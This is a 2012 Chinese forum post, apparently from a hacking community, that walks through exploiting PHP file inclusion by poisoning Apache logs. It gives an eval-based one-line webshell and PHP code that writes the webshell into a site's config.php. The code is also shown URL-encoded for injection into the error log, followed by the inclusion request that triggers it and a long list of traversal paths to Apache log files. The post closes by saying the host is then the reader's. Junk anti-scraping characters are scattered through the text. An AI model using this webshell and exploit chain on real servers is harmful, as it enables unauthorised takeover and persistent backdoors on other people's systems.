找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1933|回复: 0
打印 上一主题 下一主题

php包含apache日志写马

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:27:40 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
因为上面那个很不实际,我在测试中发现日志动不动就是几十兆,那样玩起来也没意思了。下面想的再深入一点也就是我们写入一个很实际的webshell来用,也比上面那种慢的要死好很多。
4 ]* ]4 O; b% m& B4 z. B: S* `) q( D0 |, E) A8 Z% [
比如还是这句一句话木马 - n1 `) f7 R6 V0 j9 U: }
<?eval($_POST[cmd]);?>   . A6 y9 v, a/ Y1 }
+ l4 n6 M# V* U0 H. A
到这里你也许就想到了,这是个很不错的办法。接着看,如何写入就成了个问题,用这句, / W/ D7 B0 g  E6 m& k: E* e
fopen打开/home/virtual/www.xxx.com/forum/config.php这个文件,然后写入<?eval($_POST[cmd]);?>这个一句话木马服务端语句。连起来表达成php语句就是
) o8 o' w) _3 D% d2 F- w, z) M/ m- D" x
<?$fp=fopen("/home/virtual/www.xxx.com/forum/config.php","w+");fputs($fp,"<?eval($_POST[cmd]);?>"); , c' C6 H: l* h4 w9 g6 L$ A5 w. f
fclose($fp);?>   //在config.php里写入一句木马语句
% b/ A6 T+ l* h) o+ \
) C- m3 Y9 D1 {- e我们提交这句,再让Apache记录到错误日志里,再包含就成功写入shell,记得一定要转换成URL格式才成功。
! c$ d" }6 E- m* c转换为
# Z% a2 v: g$ l" r%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww%2Exxx%2Ecom%2Fforum%2F
2 m# ^* N, ^6 g5 uconfig%2Ephp%22%2C%22w%2B%22%29%3Bfputs%28%24fp . u! T, F0 L, t
%2C%22%3C%3Feval%28%24%5FPOST%5Bcmd%5D%29%3B%3F%3E%22%29%3B , [, @+ @) Q# e
fclose%28%24fp%29%3B%3F%3E
# C8 Q: b, t4 i4 ^8 l我们提交
0 r* S7 s+ A1 N0 X  Whttp://xxx.com/%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww
: D0 a1 n; e8 o9 u0 [/ b$ l! f. E%2Exxx%2Ecom%2Fforum%2Fconfig%2Ephp
; c& |& {' r1 a" D6 u%22%2C%22w%2B%22%29%3Bfputs%28%24fp%2C%22%3C%3Feval%28%24%5FPOST%5B
+ z: b( d) a; @5 \' s3 d) ncmd%5D%29%3B%3F%3E%22%29%3Bfclose%28%24fp%29%3B%3F%3E # }4 J; _: R( u

$ M# M5 D1 h+ u0 ^& ]" D# ?# A这样就错误日志里就记录下了这行写入webshell的代码。 ' y6 @/ b1 C; u% w3 f7 S! V' D
我们再来包含日志,提交
: U$ M+ {4 Y% W+ Rhttp://xxx.com/z.php?zizzy=/home ... /logs/www-error_log + r: K1 m  B5 a$ [1 t4 ]) o
8 u2 x' x" z! R$ T% B! n
这样webshell就写入成功了,config.php里就写入一句木马语句
, x2 L' k1 R( ^, z# D! jOK. * ~3 r" y- Z" A, C
http://www.xxx.com/forum/config.php这个就成了我们的webshell
8 k: z; q! b' S6 J  f2 ^8 F直接用lanker的客户端一连,主机就是你的了。 * r' j0 t- |  ]* `" [9 X: {3 z
" O3 B1 a' N# V+ Q. k
PS:上面讲的,前提是文件夹权限必须可写 ,一定要-rwxrwxrwx(777)才能继续,这里直接用上面列出的目录来查看。上面讲的都是在知道日志路径的情况下的利用 / B$ E& A" ]4 I) [- W

1 C0 E+ Q! D, e' {其他的日志路径,你可以去猜,也可以参照这里。
- b* c8 w! h/ L5 i../../../../../../../../../../var/log/httpd/access_log + f& c3 P2 Y- {% _7 K
../../../../../../../../../../var/log/httpd/error_log ( |( e# F: u& Y0 f( L' G1 {
../apache/logs/error.log
8 [, E7 S* M% U9 v  F% T/ a../apache/logs/access.log 3 Q' g- i2 n+ Y( H6 x& v: |6 R0 c
../../apache/logs/error.log : G: K1 X% i9 Z; b" B( ?. V0 O! K
../../apache/logs/access.log $ I9 V. t) A) K5 i0 A
../../../apache/logs/error.log
5 w: c: K/ |$ n+ D../../../apache/logs/access.log . [% M5 U. T8 b/ c5 Q" a
../../../../../../../../../../etc/httpd/logs/acces_log
! v" X8 }: z- i* a7 d../../../../../../../../../../etc/httpd/logs/acces.log : O# K1 F6 M# L' l3 M- _$ h5 V
../../../../../../../../../../etc/httpd/logs/error_log 2 r# [* C7 E( m5 M! S8 O( k
../../../../../../../../../../etc/httpd/logs/error.log
: U$ g  e+ y! x/ s/ ]. j../../../../../../../../../../var/www/logs/access_log
& z1 M: c0 Q& }% W2 \) s. p../../../../../../../../../../var/www/logs/access.log 6 L( w6 o, P* [. _
../../../../../../../../../../usr/local/apache/logs/access_log
( l$ r$ a5 U; w) u3 m9 h2 k../../../../../../../../../../usr/local/apache/logs/access.log . d# t: k& V: j
../../../../../../../../../../var/log/apache/access_log % |' T: t' g9 ?, |2 `' K
../../../../../../../../../../var/log/apache/access.log . e, k! x5 p9 {+ j7 b
../../../../../../../../../../var/log/access_log : Y3 o3 I, C/ c( {# l) E2 @/ o% L
../../../../../../../../../../var/www/logs/error_log ; Y( K" l4 N/ W, e; e
../../../../../../../../../../var/www/logs/error.log
8 ]- a9 T( B' |3 T5 {../../../../../../../../../../usr/local/apache/logs/error_log
% P* b0 Y3 W7 O- D( R( n8 y../../../../../../../../../../usr/local/apache/logs/error.log ; D* G% d, @$ z  J, k$ s
../../../../../../../../../../var/log/apache/error_log
' Z" M: X9 n% F* H& ^% h1 z- P../../../../../../../../../../var/log/apache/error.log : z% d. G4 b9 t9 W2 D, m. M
../../../../../../../../../../var/log/access_log * a1 i8 |: n" |# N, P$ M+ n" F
../../../../../../../../../../var/log/error_log , h% _+ A: k; s. g' r4 T
/var/log/httpd/access_log       7 F# l$ ^+ _) x  n2 A/ ~
/var/log/httpd/error_log     & T) @, H! f. h- l
../apache/logs/error.log     
6 W5 V: c9 {8 \6 i+ p../apache/logs/access.log
& l! ?8 G; _6 T! _../../apache/logs/error.log
' {# s% V) ~. g* r+ L5 J../../apache/logs/access.log + r! r- Z. I( l9 d" D9 A
../../../apache/logs/error.log
8 v* e) T& _/ |, w4 U1 n1 a../../../apache/logs/access.log ' k7 ^3 ?5 K" A; n1 s6 c
/etc/httpd/logs/acces_log # u8 k! z5 F" y( T8 F. R
/etc/httpd/logs/acces.log + _5 H; C% z, s
/etc/httpd/logs/error_log # x0 k2 S) t! V4 u" G( }9 S
/etc/httpd/logs/error.log
8 O" s/ j( q) A! M; d) Y$ A/var/www/logs/access_log 2 j$ |) H3 W$ B- H- f. _
/var/www/logs/access.log ; j6 ~. ?5 ]: {: ^7 h# v# N  e
/usr/local/apache/logs/access_log
9 G% x3 r) j9 x/ g0 ^6 D1 k% l/usr/local/apache/logs/access.log
: Q/ O+ z+ \4 ^  l& ]/var/log/apache/access_log
  s+ A3 S$ h7 f+ i& W! p/var/log/apache/access.log ) m: ?1 j8 x9 K8 W' A* x
/var/log/access_log * F3 v1 V* t+ R
/var/www/logs/error_log 7 Q  `; c# ?' m7 E- _
/var/www/logs/error.log
1 G- J$ W3 o2 ?- A7 K/usr/local/apache/logs/error_log
: o# E( {1 J8 g. v' E' a+ _/usr/local/apache/logs/error.log
- @( ^4 d' n( P/var/log/apache/error_log
; p7 X4 H/ z: B0 |/var/log/apache/error.log
  r- N" V9 Z4 o/var/log/access_log ' t" V+ `$ C+ s' C  p
/var/log/error_log
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表